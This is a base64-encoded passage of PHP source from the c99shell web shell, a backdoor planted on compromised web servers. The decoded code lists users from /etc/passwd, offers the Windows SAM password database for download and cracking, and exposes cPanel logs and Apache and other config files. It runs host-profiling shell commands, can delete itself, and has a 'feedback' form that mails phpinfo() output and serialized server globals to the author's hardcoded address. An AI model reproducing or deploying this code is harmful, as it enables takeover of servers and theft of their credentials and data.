CIuJGhvcGVuYmFzZWRpci4iPC9iPjxicj4iOwppZiAoISR3aW4pCnsKICBpZiAoJG5peHBhc3N3ZCkKICB7CiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9CiAgIGVjaG8gIjxiPipuaXggL2V0Yy9wYXNzd2Q6PC9iPjxicj4iOwogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsKICAgJGkgPSAkbml4cHdkX3M7CiAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkKICAgewogICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlmICgkdWlkKQogICAgewogICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOwogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgfQogICAgJGkrKzsKICAgfQogIH0KICBlbHNlIHtlY2hvICI8YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+Ijt9Cn0KZWxzZQp7CiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsKICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNzd29yZHMoIi4kdi4iKSA8L2ZvbnQ+PC9iPjxicj4iO30KICBlbHNlIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvZm9udD48L2I+PGJyPiI7fQp9CmlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9dXNlcmRvbWFpbnMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+VmlldyBjcGFuZWwgdXNlci1kb21haW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9YWNjb3VudGluZy5sb2cmZD0iLnVybGVuY29kZSgiL3Zhci9jcGFuZWwvIikuIlwiJmZ0PXR4dD48dT48Yj5WaWV3IGNwYW5lbCBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CmlmIChmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1odHRwZC5jb25mJmQ9Ii51cmxlbmNvZGUoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYiKS4iJmZ0PXR4dFwiPjx1PjxiPkFwYWNoZSBjb25maWd1cmF0aW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQppZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3N5c2xvZy5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1zeXNsb2cuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5TeXNsb2cgY29uZmlndXJhdGlvbiAoc3lzbG9nLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CmlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9tb3RkIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1tb3RkJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPk1lc3NhZ2UgT2YgVGhlIERheTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQppZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaG9zdHMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWhvc3RzJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkhvc3RzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CmZ1bmN0aW9uIGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSkge2lmICghZW1wdHkoJHZhbHVlKSkge2lmICghZW1wdHkoJG5hbWUpKSB7JG5hbWUgPSAiPGI+Ii4kbmFtZS4iIC0gPC9iPiI7fSBlY2hvICRuYW1lLm5sMmJyKCR2YWx1ZSkuIjxicj4iO319CmRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uPyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy92ZXJzaW9uIikpOwpkaXNwbGF5c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOwpkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lIixteXNoZWxsZXhlYygiY2F0IC9ldGMvaXNzdWUubmV0IikpOwpkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsKZGlzcGxheXNlY2luZm8oIkNQVT8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsKZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7CmRpc3BsYXlzZWNpbmZvKCJIREQgc3BhY2UiLG15c2hlbGxleGVjKCJkZiAtaCIpKTsKZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsKZGlzcGxheXNlY2luZm8oIk1vdW50IG9wdGlvbnMgIixteXNoZWxsZXhlYygiY2F0IC9ldGMvZnN0YWIiKSk7CmRpc3BsYXlzZWNpbmZvKCJJcyBjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOwpkaXNwbGF5c2VjaW5mbygiSXMgbHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsKZGlzcGxheXNlY2luZm8oIklzIGxpbmtzIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBsaW5rcyIpKTsKZGlzcGxheXNlY2luZm8oIklzIGZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsKZGlzcGxheXNlY2luZm8oIklzIEdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOwpkaXNwbGF5c2VjaW5mbygiSXMgcGVybCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggcGVybCIpKTsKZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIGFwYWNoZSIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgYXBhY2hlIikpOwpkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7CmRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIpKTsKZGlzcGxheXNlY2luZm8oImxvY2F0ZSBodHRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7CmRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOwpkaXNwbGF5c2VjaW5mbygibG9jYXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOwp9CmlmICgkYWN0ID09ICJta2ZpbGUiKQp7CmlmICgkbWtmaWxlICE9ICRkKQp7CiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9CiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQiO30KICBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTt9Cn0KZWxzZSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30KfQppZiAoJGFjdCA9PSAiZW5jb2RlciIpCnsKZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PjxjZW50ZXI+PGI+RW5jb2Rlcjo8L2I+PC9jZW50ZXI+PGZvcm0gbmFtZT1cImVuY29kZXJcIiBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZW5jb2Rlcj48Yj5JbnB1dDo8L2I+PGNlbnRlcj48dGV4dGFyZWEgbmFtZT1cImVuY29kZXJfaW5wdXRcIiBpZD1cImlucHV0XCIgY29scz01MCByb3dzPTU+Ii5AaHRtbHNwZWNpYWxjaGFycygkZW5jb2Rlcl9pbnB1dCkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJjYWxjdWxhdGVcIj48YnI+PGJyPjwvY2VudGVyPjxiPkhhc2hlczwvYj46PGJyPjxjZW50ZXI+IjsKZm9yZWFjaChhcnJheSgibWQ1IiwiY3J5cHQiLCJzaGExIiwiY3JjMzIiKSBhcyAkdikKewogIGVjaG8gJHYuIiAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiR2KCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PGJyPiI7Cn0KZWNobyAiPC9jZW50ZXI+PGI+VXJsOjwvYj48Y2VudGVyPjxicj51cmxlbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4KPGJyPnVybGRlY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnModXJsZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkuIlwiIHJlYWRvbmx5Pgo8YnI+PC9jZW50ZXI+PGI+QmFzZTY0OjwvYj48Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5iYXNlNjRfZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PC9jZW50ZXI+IjsKZWNobyAiPGNlbnRlcj5iYXNlNjRfZGVjb2RlIC0gIjsKaWYgKGJhc2U2NF9lbmNvZGUoYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCkpICE9ICRlbmNvZGVyX2lucHV0KSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPVwiZmFpbGVkXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9CmVsc2UKewogICRkZWJhc2U2NCA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpOwogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsKICAkYSA9IGV4cGxvZGUoIlxyXG4iLCRkZWJhc2U2NCk7CiAgJHJvd3MgPSBjb3VudCgkYSk7CiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOwogIGlmICgkcm93cyA9PSAxKSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJGRlYmFzZTY0LiJcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ijt9CiAgZWxzZSB7JHJvd3MrKzsgZWNobyAiPHRleHRhcmVhIGNvbHM9XCI0MFwiIHJvd3M9XCIiLiRyb3dzLiJcIiBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiIuJGRlYmFzZTY0LiI8L3RleHRhcmVhPiI7fQogIGVjaG8gIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNldF9lbmNvZGVyX2lucHV0KGRvY3VtZW50LmZvcm1zLmVuY29kZXIuZGViYXNlNjQudmFsdWUpXCI+PGI+XjwvYj48L2E+IjsKfQplY2hvICI8L2NlbnRlcj48YnI+PGI+QmFzZSBjb252ZXJ0YXRpb25zPC9iPjo8Y2VudGVyPmRlYzJoZXggLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIjsKJGMgPSBzdHJsZW4oJGVuY29kZXJfaW5wdXQpOwpmb3IoJGk9MDskaTwkYzskaSsrKQp7CiAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7CiAgaWYgKCRlbmNvZGVyX2lucHV0WyRpXSA9PSAiJiIpIHtlY2hvICRlbmNvZGVyX2lucHV0WyRpXTt9CiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQp9CmVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+IjsKfQppZiAoJGFjdCA9PSAiZnNidWZmIikKewokYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07CiRhcnJfY3V0ID0gJHNlc3NfZGF0YVsiY3V0Il07CiRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOwppZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+QnVmZmVyIGlzIGVtcHR5ITwvYj48L2NlbnRlcj4iO30KZWxzZSB7ZWNobyAiPGI+RmlsZS1TeXN0ZW0gYnVmZmVyPC9iPjxicj48YnI+IjsgJGxzX2FyciA9ICRhcnI7ICRkaXNwX2Z1bGxwYXRoID0gVFJVRTsgJGFjdCA9ICJscyI7fQp9CmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikKewppZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpCnsKICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGM5OXNoZWxsIHYuIi4kc2h2ZXIuIiEiOyBjOTlzaGV4aXQoKTsgfQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9Cn0KZWxzZQp7CiAgaWYgKCFlbXB0eSgkcm5kY29kZSkpIHtlY2hvICI8Yj5FcnJvcjogaW5jb3JyZWN0IGNvbmZpbWF0aW9uITwvYj4iO30KICAkcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7CiAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNlbGZyZW1vdmU+PGI+U2VsZi1yZW1vdmU6ICIuX19GSUxFX18uIiA8YnI+PGI+QXJlIHlvdSBzdXJlPzxicj5Gb3IgY29uZmlybWF0aW9uLCBlbnRlciBcIiIuJHJuZC4iXCI8L2I+OiZuYnNwOzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXJuZGNvZGUgdmFsdWU9XCIiLiRybmQuIlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zdWJtaXQ+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7Cn0KfQppZiAoJGFjdCA9PSAidXBkYXRlIikgeyRyZXQgPSBjOTlzaF9nZXR1cGRhdGUoISEkY29uZmlybXVwZGF0ZSk7IGVjaG8gIjxiPiIuJHJldC4iPC9iPiI7IGlmIChzdHJpc3RyKCRyZXQsIm5ldyB2ZXJzaW9uIikpIHtlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPVwibG9jYXRpb24uaHJlZj0nIi4kc3VybC4iYWN0PXVwZGF0ZSZjb25maXJtdXBkYXRlPTEnO1wiIHZhbHVlPVwiVXBkYXRlIG5vd1wiPiI7fX0KaWYgKCRhY3QgPT0gImZlZWRiYWNrIikKewokc3VwcG1haWwgPSBiYXNlNjRfZGVjb2RlKCJZems1YzJobGJHeEFZMk4wWldGdExuSjEiKTsKaWYgKCFlbXB0eSgkc3VibWl0KSkKewogICR0aWNrZXQgPSBzdWJzdHIobWQ1KG1pY3JvdGltZSgpK3JhbmQoMSwxMDAwKSksMCw2KTsKICAkYm9keSA9ICJjOTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldC4iXG5OYW1lOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlxuRS1tYWlsOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcbk1lc3NhZ2U6XG4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIlxuXG5JUDogIi4kUkVNT1RFX0FERFI7CiAgaWYgKCFlbXB0eSgkZmRia19yZWYpKQogIHsKICAgJHRtcCA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgb2JfY2xlYW4oKTsKICAgcGhwaW5mbygpOwogICAkcGhwaW5mbyA9IGJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpOwogICBvYl9jbGVhbigpOwogICBlY2hvICR0bXA7CiAgICRib2R5IC49ICJcbiIuInBocGluZm8oKTogIi4kcGhwaW5mby4iXG4iLiJcJEdMT0JBTFM9Ii5iYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkR0xPQkFMUykpLiJcbiI7CiAgfQogIG1haWwoJHN1cHBtYWlsLCJjOTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldCwkYm9keSwiRlJPTTogIi4kc3VwcG1haWwpOwogIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZlZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7Cn0KZWxzZSB7ZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWZlZWRiYWNrPjxiPkZlZWRiYWNrIG9yIHJlcG9ydCBidWcgKCIuc3RyX3JlcGxhY2UoYXJyYXkoIkAiLCIuIiksYXJyYXkoIlthdF0iLCJbZG90XSIpLCRzdXBwbWFpbCkuIik6PGJyPjxicj5Zb3VyIG5hbWU6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX25hbWVcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXCI+PGJyPjxicj5Zb3VyIGUtbWFpbDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfZW1haWxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlwiPjxicj48YnI+TWVzc2FnZTo8YnI+PHRleHRhcmVhIG5hbWU9XCJmZGJrX2JvZHlcIiBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZkYmtfcmVmXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkSFRUUF9SRUZFUkVSKS4iXCI+PGJyPjxicj5BdHRhY2ggc2VydmVyLWluZm8gKiA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZkYmtfc2VydmluZlwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj5UaGVyZSBhcmUgbm8gY2hlY2tpbmcgaW4gdGhlIGZvcm0uPGJyPjxicj4qIC0gc3Ryb25nbHkgcmVjb21tZW5kZWQsIGlmIHlvdSByZXBvcnQgYnVnLCBiZWNhdXNlIHdlIG5lZWQgaXQgZm9yIGJ1Zy1maXguPGJyPjxicj5XZSB1bmRlcnN0YW5kIGxhbmd1YWdlczogRW5nbGlzaCwgUnVzc2lhbi48YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiU2VuZFwiPjwvZm9ybT4iO30KfQppZiAoJGFjdCA9PSAic2VhcmNoIikKewplY2hvICI8Yj5TZWFyY2ggaW4gZmlsZS1zeXN0ZW06PC9iPjxicj4iOwppZiAoZW1wdHkoJHNlYXJjaF9pbikpIHskc2VhcmNoX2luID0gJGQ7fQppZiAoZW1wdHkoJHNlYXJjaF9uYW1lKSkgeyRzZWFyY2hfbmFtZSA9ICIoLiopIjsgJHNlYXJjaF9uYW1lX3JlZ2V4cCA9IDE7fQppZiAoZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpIHskc2VhcmNoX3RleHRfcmVnZXhwID0gMDt9CmlmICghZW1wdHkoJHN1Ym1pdCkpCnsKICAkZm91bmQgPSBhcnJheSgpOwogICRmb3VuZF9kID0gMDsKICAkZm91bmRfZiA9IDA7CiAgJHNlYXJjaF9pX2YgPSAwOwogICRzZWFyY2hfaV9kID0gMDsKICAkYSA9IGFycmF5CiAgKAogICAibmFtZSI9PiRzZWFyY2hfbmFtZSwgIm5hbWVfcmVnZXhwIj0+JHNlYXJjaF9uYW1lX3JlZ2V4cCwKICAgInRleHQiPT4kc2VhcmNoX3RleHQsICJ0ZXh0X3JlZ2V4cCI9PiRzZWFyY2hfdGV4dF9yZWd4cCwKICAgInRleHRfd3dvIj0+JHNlYXJjaF90ZXh0X3d3bywKICAgInRleHRfY3MiPT4kc2VhcmNoX3RleHRfY3MsCiAgICJ0ZXh0X25vdCI9PiRzZWFyY2hfdGV4dF9ub3QKICApOwogICRzZWFyY2h0aW1lID0gZ2V0bWljcm90aW1lKCk7CiAgJGluID0gYXJyYXlfdW5pcXVlKGV4cGxvZGUoIjsiLCRzZWFyY2hfaW4pKTsKICBmb3JlYWNoKCRpbiBhcyAkdikge2M5OWZzZWFyY2goJHYpO30KICAkc2VhcmNodGltZSA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzZWFyY2h0aW1lLDQpOwogIGlmIChjb3VudCgkZm91bmQpID09IDApIHtlY2hvICI8Yj5ObyBmaWxlcyBmb3VuZCE8L2I+Ijt9CiAgZWxzZQogIHsKICAgJGxzX2FyciA9ICRmb3VuZDsKICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOwogICAkYWN0ID0gImxzIjsKICB9Cn0KZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+CjxiPlNlYXJjaCBmb3IgKGZpbGUvZm9sZGVyIG5hbWUpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cAo8YnI+PGI+U2VhcmNoIGluIChleHBsb2RlIFwiO1wiKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hb